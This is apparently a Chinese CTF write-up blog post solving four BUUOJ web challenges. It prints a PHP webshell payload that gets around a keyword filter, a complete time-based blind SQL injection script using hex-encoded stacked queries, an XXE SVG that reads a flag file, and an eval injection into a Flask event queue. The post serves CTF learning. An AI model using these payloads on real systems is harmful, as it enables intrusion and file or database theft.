buu24

[红明谷CTF 2021]write_shell

首先是check函数过滤了一些字符

function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

如果传入的是数组,那么就会进行foreach再对其键值进行check函数的过滤

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

经过waf后的内容将会被传入index.php中

case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);

现在需要想的就是如何构造shell,过滤了php我们可以使用短标签进行绕过,过滤了 过滤了php我们可以使用.进行连接,过滤了空格,我们可以使用括号进行绕过,

/?action=upload&data=<?=(ph.pinfo)()?>

绕过成功img

/?action=upload&data=<?=`ls%09/`?>
img 接下来就是cat它就好了

[SWPU2019]Web4

测试了一下 发现是堆叠注入,但是没有输出回显信息,也不符合布尔盲注的条件
img

那就要考虑一下时间盲注了,接下来构造一下语句,尝试了一下select sleep(5),发现没有反应,猜测存在过滤,堆叠注入的绕过有一个预处理,可以采取使用concat连接的方式进行绕过img

但是由于不确定都过滤了那些内容,虽然可以使用延迟进行fuzz,但是有点麻烦,可以直接采用十六进制转码的形式进行绕过

import requests
import json
import time

def main():
#题目地址
url = '''http://5c6e0550-a9af-461f-8eda-50bc9d0086f0.node4.buuoj.cn/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
main()

这个是网上大神的脚本,我的好像出了点问题,没跑出来–得到glzjin_wants_a_girl_friend.zip里面是源码,接下来审计一下:
打开controllers进行审计,可以发现basecontrollers中,有文件包含,那么我看看这个viewData是用extract() 函数从数组中将变量导入到当前的符号表。如果可以控制这个viewdata,那么就可以实现变量覆盖了

class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

而这个load方法只在user里面看到,并且listDAT是有request获得的
img

去userIndex里面查看一下这里的变量是img_file
img
理一下思路,我们可以使用extract需要变量覆盖,传入的值是也是可控的,用request,所以构造payload,首先我们得先到user这个路由这里

img 不过对于这个传值还是想研究一下,所以在phpstorm里面断点调试一下 img 为什么要是img,因为后面是这个变量的内容会回显在网页上,也就是这个图片

[BSidesCF 2019]SVGMagic

题目说将svg转为png,svg是用xml格式定义的图像,推测是xxe注入
img

在本地先编写一个svg文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg width="2000" height="100">
<text x="100" y="100">&file;</text>
</svg>

然后将其上传即可img

[DDCTF 2019]homebrew event loop

python源码审计

将event写入session函数

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

有三个points,0个num_items,但是不清楚有什么是写在session中的
img

这里num_items要大于等于5 flag就会被写入session
img

如果我们可以先买钻石,然后让flag被写入session中,然后再扣费,那就可以实现num_items大于等于5,可以看到这里有一个eval函数:
img

因为eval函数后面的参数可控所以

action:trigger_event%23;action:buy;5%23action:get_flag;

然后使用flask-session-manager-master解密session
img
即可获得flag
img

Author

vague huang

Posted on

2021-07-26

Updated on

2021-07-27

Licensed under

Comments